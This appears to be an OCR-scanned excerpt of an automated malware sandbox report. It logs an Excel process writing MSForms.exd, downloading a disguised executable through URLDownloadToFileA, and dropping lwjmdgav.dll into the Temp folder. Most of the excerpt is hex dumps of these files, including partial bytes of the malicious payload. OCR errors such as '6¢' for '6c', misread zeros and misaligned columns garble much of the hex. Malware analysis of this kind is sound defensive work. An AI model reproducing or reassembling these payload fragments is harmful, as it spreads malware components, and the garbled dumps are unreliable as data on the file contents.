00 00 00 00 00
00 00 00 0f 00 00
01 00 00 00 00
01 0000 00 10
00 00 01 00 00
00 00 02 00 00
0011 0000 01
00 00 00 00 00
00 00 00 12 00
00 01 00 00 00
00 00 00 00 00
13 00 00 01 00
00 00 00 00 00
00 00 14 00 00
01 00 00 00 00
01 0000 00 15
00 00

b0 0d 00 00 00
00 00 00 02 00
0000 2d 00 73
74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57
57 10 Oe 00 00
00 00 00 00 01
00 07 00 25 00
45 58 43 45 4c 2e
45 58 45 57

.stdole2.tlbWWW..

%.EXCEL.EXEW

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 512

8041 00 00 48
220000 64 30
00 00 b4 49 00
00 f0 47 00 00 80
3c 00 00 00 2e
00 00 64 45 00
0038410000c8
47 000090 30
00 00 d8 49 00
00 b4 29 00 00
d8 48 00 00 7c 46
00 00 6¢ 3d 00
00 2c 42 00 00 fO
210000 d8 3b
00 00 50 47 00
00 54 46 00 00
54 43 00 00 54
3e 00 00 e0 2c 00
00 6¢ 3¢ 00 00 4c
3a 00 00 2c 44 00
00 78 38 00 00
b4 45 00 00 24
47 00 00 8c 45
00 00 1c 43 00 00
20 49 00 00 90
49 00 00 34 30
00 00 30 40 00
00 9c 42 00 00 b8
4400 00 28 3e
00 00 b8 3f 00 00
40 42 00 00 20
4500 00 a4 47
00 00 b0 43 00
00 c8 32 00 00 20
410000 18 48
00 00 68 44 00
00 c8 45 00 00 10
26 00 00 c8 2f 00
00 54 2b 00 00

18 32 00 00 c0 41
00 00 c0 40 00 00
a0 34 00 00 b4
2b 00 00 a8 40
00 00 74 3b 00
00 b8 2c 00 00 78
45 00 00 d8 40
00 00 30 46 00
00 08 3f 00

Ascii Completion

A.H"..dO...I..G...<....dE success or wait
L8A..G...0...I...)..H..|F..

I=..,B .PG.TF.TC..T
>..,.<.Li.,D..x8...E.$G..

.E...C.. 1...1..40..0@...B...D
.(>..?.@B..E..G...C..2..
A..H.hD..E..&..[.T+..2

LAL@.AL @,

xE...@..0F...2.

Source

Count Address Symbol

1

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

Length Value Ascii

unknown 18936  ff ff ff ff ff ff ff ff 07 .......... C.MSFormsW.........

0043 0f4d 5346 8

6f 72 6d 7357 00 ..OLE_COLORWW\WA......
00 00 00 ff ff ff ff ..8(0OLE_

09 38 e4 f5 4f 4c  HANDLEWW......... 8.WOL
45 5f 43 4f 4c 4f  E_OPTEXC

52575757 64  LUSIVE,........ 8..IFontWww
00 00 00 ff ff ff ff  W.........
Oa 38 28 6f 4f 4c  (U.Font..
45 5f 48 41 4e 44 EffectX..
4c 455757 ¢800 ..... 8.kIDataAutoWrapper
00 00 ff ff ff ff 10 ...

38 c2 57 4f 4c 45 ...8.VIReturnintegerWW....
5f 4f 50 54 45 58 .....8.9IReturnBool

43 4¢ 55 53 49

56 45 2¢ 01 00 00

ff ff ff ff 05 38 Of

ce 49 46 6f 6e 74

57 57 57 90 01

00 00 ff ff ff ff 04

28 55 10 46 6f 6e

74 f4 01 00 00 ff

ff ff ff Oc 38 a9 2a

66 6d 44 72 6f 70

45 66 66 65 63

74 58 02 00 00 ff

ff ff ff 08 38 8¢ 62

66 6d 41 63 74

69 6f 6e bc 02 00

00 ff ff ff ff 10 38

8f 6b 49 44 61 74

614175 74 6f 57

726170 70 65

72 20 03 00 00 ff

ff ff ff Oe 38 dc 56

4952 65 74 75

72 6e 49 6e 74

65 67 65 72 57

57 84 03 00 00 ff

ff ff ff Oe 38 e0 39

4952 65 74 75

72 6e 42 6f 6f 6¢

....8.*fmDrop

...8.bfmAction....

Completion

success or wait

Source
Count Address

Symbol

1 7FEEACDFDDC unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 1620 2200 4d 69 63 ".Microsoft Forms 2.0 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 72 6f 73 6f 66 74 Object L

20 46 6f 72 6d 73 ibrary..C:\Windows\system
20 32 2e 30 20 4f 32\fm

62 6a 656374  20.hlpWW..NoneWW..Cop
20 4c 69 62 72 61 yWW..Move

7279 1c 00 43 3a WW..CopyOrMove..CutW
5c 57 69 6e 64 6f WW..PasteW

77 73 5¢ 7379 73 ..DragDropWW..InheritWW
74 65 6d 33 32 5¢ W..OnWW

66 6d32302e  WW..Off WWW..Defaultw
68 6¢ 70 57 57 04 WW..Arrow\W

00 4e 6f 6e 65 57 ..CrossW..IBeamW..SizeN
57 04 00 43 6f 70 ESWWW..
7957570400  SizeNS..SizeNWSEWW..
4d 6f 76 65 57 57 SizeWE..Up

0a 00 43 6f 70 79 ArrowWWW..HourG

4f 72 4d 6f 76 65

0300437574

57 57 57 05 00

50 61 73 74 65

57 08 00 44 72

61 67 44 72 6f 70

57 57 07 00 49

6e 68 65 72 69

74 57 57 57 02

00 4f 6e 57 57 57

57 03 00 4f 66 66

57 57 57 07 00

44 65 66 61 75 6C

74 57 57 57 05

004172726f77

57 05 00 43 72 6f

73 73 57 05 00

49 42 65 61 6d

57 08 00 53 69

7a 65 4e 45 53

57 57 57 06 00

53 69 7a 65 4e

53 08 00 53 69

7a 65 4e 57 53

4557 57 06 00

53 69 7a 6557

45 07 00 55 70

417272 6f7757

57 57 09 00 48 6f

7572 47
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Source

File Path Offset Length Value Completion Count Address Symbol

C:\Users\user\AppData\Local\Te unknown 6480 1a 00 08 40 08
mp\Excel8.0\MSForms.exd 00 08 80 1a 00

06 40 06 00 06

80 1a 00 Ob 40

Ob 00 Ob 80 1a

00 02 40 02 00

02 80 1d 00 ff 7f

64 00 00 00 1a

00ff 72000 00 ............ m..

00 1d 00 ff 7f 2¢

01 00 00 1a 00 ff

7f30 00 00 00 1a

00 ff 7f 38 00 00

00 1d 00 ff 7f 19

00 00 00 1a 00 ff

7f 48 00 00 00 1a

00 00 40 18 00

00 80 1a 00 fe 7f

58 00 00 00 1a

00 13 40 17 00

13 80 1d 00 ff 7f

250000 00 1a

00 ff 7f 70 00 00

00 1a 00 10 40

1000 10 80 1a

00 fe 7f 80 00 00

00 1a 00 03 40

030003 80 1d

00 ff 7f 31 00 00

00 1a 00 ff 7f 98

00 00 00 1d 00 ff

7f 3d 00 00 00 1a

00 ff 7f a8 00 00

00 1a 00 Oc 40 Oc

00 Oc 80 1d 00 ff

7f 49 00 00 00 1a

00 ff 7f cO 00 00

00 1d 00 03 00 f4

01 00 00 1d 00 ff

7f55 00 00 00 1la

00 ff 7f d8 00 00

00 1d 00 ff 7f 61

00 00 00 1a 00 ff

7f e8 00 00 00 1d

00 ff 7f 6d 00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 24 03 00 fe ff ff ff 57 ... WW.....WW.....WW  success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 57 03 00 ff ff ff ff

57 57 03 00 cd ef

ff ff 57 57

C:\Users\user\AppData\Local\Te unknown 4 2403 00 00 $... success or wait 107 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 2 24 00 $. success or wait 3625 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 22 00 00 19 00 19

mp\Excel8.0\MSForms.exd 80 00 00 00 00
Oc 00 4c 00 11 44
01 00 01 00 00
00

success or wait 3426 T7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 12 00000000hb0  ............ success or wait 1841 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd Oe 00 00 0a 00
00 00

C:\Users\user\AppData\Local\Te unknown 88 0000000000  cooeeeieieieeie e success or wait 107 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd 00 00 00 02 00
00 00 02 00 00
00 03 00 00 00
03 00 00 00 04
00 00 00 04 00
00 00 05 00 00
00 05 00 00 00
06 00 00 00 06
00 00 00 07 00
00 00 07 00 00
00 08 00 00 00
08 00 00 00 10
00 01 60 11 00
01 60 12 00 01
60 13 00 01 60
14 00 01 60 15
00 01 60
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value Ascii Completion

unknown 88

unknown 88

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 2

unknown 2

unknown 2

unknown 2

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

Source
Count Address Symbol

a00e 0000a0  ...cccceoeeeviiiciieine
0e 00 00 c4 Oe 00 ..4..4..d...d....
00 c4 Oe 00 00 e8
Oe 00 00 e8 Oe
00 00 Oc 0f 00 00
Oc Of 00 00 34 0f
00 00 34 0f 00 00
64 0f 00 00 64 Of
00 00 9c 0f 00 00
9c 0f 00 00 c4 of
00 00 c4 0f 00 00
ec 0f 00 00 14 10
00 00 3c 10 00 00
68 10 00 00 ac

10 00 00 c4 10 00
00

success or wait 107 7FEEACDFDDC unknown

00 00 00 00 24
00 00 00 48 00 5
00006¢c 000000 ...@...d......ccccvenen
90 00 00 00 b4

00 00 00 d8 00

00 00 fc 00 00 00

2001 00 00 44

01 00 00 68 01

00 00 8¢ 01 00 00

b0 01 00 00 d4

01 00 00 f8 01 00

00 1c 02 00 00

40 02 00 00 64

02 00 00 88 02

00 00 ac 02 00 00

dc 02 00 00 00

success or wait 107 7FEEACDFDDC unknown

03 00 00

4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
02 00 01 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
09 04 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
51 00 Q. success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
02 00 . success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
06 00 00 00 success or wait 1 7FEEACDFDDC unknown
91 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
do 02 00 00 success or wait 1 7FEEACDFDDC unknown
08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
ff ff ff ff success or wait 1 7FEEACDFDDC unknown
20 00 00 00 success or wait 1 7FEEACDFDDC unknown
80 00 00 00 success or wait 1 7FEEACDFDDC unknown
0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown 580

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

4

Completion

a2 01 00 00 success or wait

00 00 00 00 64
00 00 00 c8 00 00 .
00 2¢ 01 00 00 90 ....
010000f40100 ...
0058 02 00 00 bc ...
02 00 00 20 03
00 00 84 03 00
00e80300004c ...
04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00

dc 05 00 00 40

06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 0c 00
00 48 0d 00 00

ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
1000003011
00 0094 11 00
00 f8 11 00 00 5¢
12 00 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
18 1500 00 7¢c
1500 00 €0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9c
18 00

success or wait

88 03 00 00 a4
38 00 00 ff ff ff ff
0f 00 00 00

..... L

success or wait

1c 400009813 .O..............
00 00 ff ff ff ff Of
00 00 00

success or wait

b4 62 00 00 34
00 00 00 ff ff ff ff
0f 00 00 00

b4 success or wait

4c 4b 00 00 dO Lo
03 00 00 ff ff ff ff
0f 00 00 00

success or wait

2c3c 00008000 <. success or wait
00 00 ff ff ff ff Of

00 00 00

ac 3¢ 00 00 a0 Oe .<..............
00 00 ff ff ff ff Of
00 00 00

success or wait

e8 62 00 00 00 .b.
02 00 00 ff ff ff ff
0f 00 00 00

success or wait

e8640000f849 .d..l.....
00 00 ff ff ff ff Of
00 00 00

success or wait

e0 ae 00 00 54
06 00 00 ff ff ff ff
0f 00 00 00

T success or wait

34 b5 00 00 50
19 00 00 ff ff ff ff
0f 00 00 00

4P, success or wait

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

success or wait

Source

Count Address

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

16

14500

841ce]00I00M8|00 Ranmna e
00 00 ff ff ff ff Of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

00 00 00 00 00
00 00 00 00 00
03 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 18 00
00 00 00 00 00
00 14 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff f
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff 26 21 01 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 30
00 00 00 00 00
00 00 2¢ 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff f
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff a6 10 02 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 48
00 00 00 00 00
00 00 44 00 00

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1

1

1

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|[E5\ZAE7RW1P\w80I82r[1].zip

Copyright null 2021

Offset

unknown 616

Length Value

4d 5a 90 00 03
00 00 00 04 00
00 00 ff ff 00 00
b8 00 00 00 00
00 00 00 40 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 80
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 73 20 70
72 6f67 72 61 6d
20 63 61 6e 6e 6f
742062 65 20
7275 6e 20 69
6e 20 44 4f 53 20
6d 6f 64 65 2e 0d
0d 0a 24 00 00
00 00 00 00 00
50 45 00 00 4c 01
09 00 16 3a fd 5f
00 00 00 00 00
00 00 00 e0 00
Oe 21 0b 01 02
3200 7a 04 00
00 62 00 00 00
00 00 00 d0 26
00 00 00 10 00
00 00 40 00 00
00 00 00 10 00
10 00 00 00 02
00 00 04 00 00
00 00 00 00 00
04 00 00 00 00
00 00 00 00 40
05 00 00 04 00
00 00 00 00 00
02 00 00 00 00
001000 00 10
00 00 00 00 10
00 00 10 00 00
00 00 00 00 10
00 00 00 00 00
00 00 00 00 00

cannot b
mode....

.L.!This program
e run in DOS

Completion

success or wait

Source
Count Address

1 14080828C

Symbol
URLDownloadToFileA
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Mi unknown 8192 2e 74657874 textd..R....... T..R........ success or wait 1 14080828C URLDownloadToFileA
crosoft\Windows\Temporary Internet 340000cc5204 ........@.rsrc...|........ 0..
Files\Content.|[E5\ZAE7RW1P\w80I82r[1].zip 00 00 a0 00 00 @..@.reloc....

00 54 04 00 00 .@..B

52 00 00 00 00

00 00 00 00 00

00 00 00 00 00

2000 00 40 2e
V2AEN2463100 Nu—
00 00 7c 2e 00 00
00 00 05 00 00
30 00 00 00 a6
04 00 00 00 00
00 00 00 00 00
00 00 00 00 40
00 00 40 2e 72
65 6¢ 6f 63 00 00
c8 09 00 00 00
30 05 00 00 Oa
00 00 00 d6 04
00 00 00 00 00
00 00 00 00 00
00 00 00 40 00
00 42 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00

Copyright null 2021 Page 68 of 90



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\ZAE7RW1P\w80I82r[1].zip

Copyright null 2021

Offset Length Value

unknown 8192

1 ba 00 00 c7 05
7080 00 10 f1 ba
00 00 c7 05 70 80
00 10 f1 ba 00 00
c7 05 70 80 00

10 f1 ba 00 00 c7

0570800010f1 .

ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 ¢7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 c7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 c7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 ¢7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 ¢7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 ¢7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 ¢7 05 70
80 00 10 f1 ba 00
00 c7 05 70 80 00
10 f1 ba 00 00 c7
05 70 80 00 10 f1
ba 00 00 c7

T T DT DT DOTT

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\lwjmdgav.dll

Copyright null 2021

Offset

Length Value

unknown 23440 4d 5a 90 00 03

00 00 00 04 00
00 00 ff ff 00 00
b8 00 00 00 00
00 00 00 40 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 80
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 73 20 70
72 6f67 72 61 6d
20 63 61 6e 6e 6f
742062 65 20
7275 6e 20 69
6e 20 44 4f 53 20
6d 6f 64 65 2e 0d
0d 0a 24 00 00
00 00 00 00 00
50 45 00 00 4c 01
09 00 16 3a fd 5f
00 00 00 00 00
00 00 00 e0 00
Oe 21 0b 01 02
3200 7a 04 00
00 62 00 00 00
00 00 00 d0 26
00 00 00 10 00
00 00 40 00 00
00 00 00 10 00
10 00 00 00 02
00 00 04 00 00
00 00 00 00 00
04 00 00 00 00
00 00 00 00 40
05 00 00 04 00
00 00 00 00 00
02 00 00 00 00
001000 00 10
00 00 00 00 10
00 00 10 00 00
00 00 00 00 10
00 00 00 00 00
00 00 00 00 00

cannot b
mode....

.L.!This program
e run in DOS

Completion

success or wait

Source
Count Address

1 14080828C

Symbol
URLDownloadToFileA

Page 70 of 90



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|[E5\ZAE7RW1P\w80I82r[1].zip

Copyright null 2021

Offset
unknown 5298

Length Value

00 e8 5f aa 02 00
12 a3 24 b8 8d 2f
00 e8 33 dd 01
00 d2 a3 24 40

Ascii

n$.0.3..5@m/
..$.%...}WE...D./E.,....
@j..$.$..ommmn}. .t

6d 2f 00 e8 07 ac ...F....j.g.2....
020017 a08c24 ...

Ob 25 00 00 af aa
7d 02 57 45 00
8d a3 0b 44 0a
27 2fe845e2 2c
00 89 db 0a 40
6a 27 a0 8c 24 cb
2400 00 6f 21 21
2121212121
2121212121
la7d 02 17 ff fe
74 cb 6a e8 09
54 2f 00 83 1b 24
8b cb cf 40 d4 02
e7 ab f8 20 b0 aa
bl Oe d7 2e 8d
84 7b ec 04 00 a7
46 f0 04 a7 2e 6a
00 67 c4 32 f2 97
2e 83 c4 a3 a3 ce
e8 9f 51 02 00 Oe
a8 24 do 8f 2e 00
8d €3 08 b0 09
67 2e c7 81 7f cf
2121212121
2121212121
21 21 ff ff 8e 14
47 56 3d 2e e8
e92e2c00c7 1b
0a 40 f7 f0 60 3b
8d a3 08 b0 09
27 2e 66 0f 90 ec
66 0f 69 68 24 48
7fe37c 02 27 ad
c0 10 e7 a2 8c 24
4b 25 00 00 7f 73
7c 02 e7 a2 8c 24
07 27 00 00 cf 80
7c 02 e7 ac c0 fO
97 al 8c 24 4b

Completion

success or wait

Source
Count Address

71 14080828C

Symbol
URLDownloadToFileA
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\lwjmdgav.dll unknown 30965 63 08 88 00 e7 c...2Rj.c.{...j...h.Y.dh..  success or wait 9 14080828C URLDownloadToFileA
3252629763 . X.p.p.@...7..9%...111
8d947ba000 MIMLW2. {.g?.$.4..%4

00a7606aff13 ..cj.....PC..K..".K..
f1 68 ec59 a5 64 .2h..:X../.n...1.Cd..r..I
680d818a58 !N+ 1:E.@$.r....
€970 09 Oc d9 70 .}...h..b..L.%j..L..g>L$+...V
0a 01 ef4002 01 1.\{.h..6XS...WW...@...
97 37 d8 85 0c 39 <.y,

23 8d db 08 8c 21

2121212121

2121212121

210057 32 8d 8¢

7b a4 00 00 67 3f

94 24 df 34 00 00

e7 cc b4 24 a7 34

00 00 15 63 6a ff

60 df Of 10 1a 12

5043 17 bd 10

84 4b 82 00 00

27 01 db ff 4b a0

b0 00 17 32 68

ea b4 3a 58 e8 bf

2f 01 00 6e b5 9c

94 d7 31 00 43

64 ¢8 04 72 c5 00

c08b 212121

2121212121

212121212b

b5 94 00 d7 31

80 3a be 4513

4024c904 7211

01 c0 81 db 7d 00

00 a7 68 8b e5

62 ef 8d 4c bb 25

6a 00 ef 4c 7f 02

67 3e 4c 24 2b d9

a6 11 56 31 8d 5¢

7b 00 68 ea f4 36

58 53 bf f4 02 01

57 57 00 ff Ob 15

40 8d e3 14 3c e8

7f de 01 00 ac 21

2121212121

2121212121

2178¢e8
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File Path
C:\Users\user\AppData\Local\Temp\lwjmdgav.dll

Copyright null 2021

Offset

Length Value

unknown 41004 af e5 27 81 dd 67

8aaebaOcall3
1b 00 13 fa de 21
2121212121
2121212121
21 f2 cb ef 03 bf
90 a3 73 aa b0
78 fc 41 15 24 10
45 6a d5 4a bo fd
ef 91 94 c0 Oe 03
d7 7f5f fd b9 7a
4012 88 fd 29 ae
b1 33 42 6e 16 cc
18 2e 3b a3 56 {7
42 7e c2 47 8b 8¢
8040 18 d2 79 c7
54 b9 e3 06 29
45 2f be 7c 0d 42
cl 3fcf13c8ee
2121212121
2121212121
212164 11 0e
49 9d 49 40 &d
47 a2 4c 5¢ 40 11
67 0a f3 23 0a 02
€360 60 eb a2 2c
d4 2b 75 66 fa ce
0d 73 be e0 14
47 Oe 9f 10 ea 56
87 70 b5 c5 d2 dd
8c 66 39 3d df 7
93 27 27 4b b3
5e 6e bf f0 e8 d6
7042 e5739b
9e 3f 1f 96 60 c4
6e 91 eba4 21
2121212121
2121212121
2187 3ach 6a5d
e5 3c 2¢c 52 76 e2
7772 1c 56 14 83
02 17 c1 3f 40 9b
67 93 02 60 28
b0 a5 98 24 7a 2f
60 a7 09 42 10
08

N ) i,

S XASED _
.z@...)..3Bn....;.V.B~.G...
i

@..y.T...)EL|.B.?...
d..1.I@.G.L\@.g. #..
uf...s...G...V.p....f9=

o dilb

e jl<,Rv.wr.V....2@.9.

2(..$2/.B..

Completion

success or wait

Source
Count Address

1 14080828C

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\050F0000

C:\Users\user\AppData\Local\Temp\050F0000

Copyright null 2021

Offset
569

1050

Length Value

481

2

Ascii

Completion

a4 95 cb 6e db 30 ...n.0.E.......H...(,0...6@S.[ success or wait
....... (-.w(9...a....u...q....

10 45 {7 05 fa Of
02 b7 85 48 a7
8b a2 28 2c 67

dla4ch364053 ...

a0 5b 9a 1c d9 ac
9 02 c9 28 f2 df
77 28 39 Oe e2
ea6lallbcb 12 ;
75 ef 99 19 71 86
eb db d6 e8 a2
811095 b3 15
b9 al 2b 52 80
15 4e 2a bb ab c8
af c7 6f e5 67 52
c4 c4 ad e4 da 59
a8 c8 11 22 b9 dd
bc 7f b7 7e 3c 7a
88 05 aa 6d ac c8
3e 25 ff 85 bl 28
6 60 78 a4 ce 83
c5 95 da 05 c3 13
de 86 1d f3 5c 1c
f8 0e d8 c7 d5 ea
13 13 ce 26 b0
a9 4c d9 83 6¢ d6
77 50 f3 27 9d 8a
fb 16 1f f7 91 6¢
95 25 c5 d7 fe bd
8c aa 08 f7 5e 2b
c1 1306 ca la2b
2f 20 a5 ab 6b 25
40 3a f1 64 dO 9a
46 1f 80 cb b8 07
48 46 53 1f 14 12
c3 4f 48 09 13 8b
84 0d 32 bd dd
5d 30 95 c9 31 e7
e7c30a30f5a0
a2 2d f3 ca b0 26
80 8e 17 a2 99
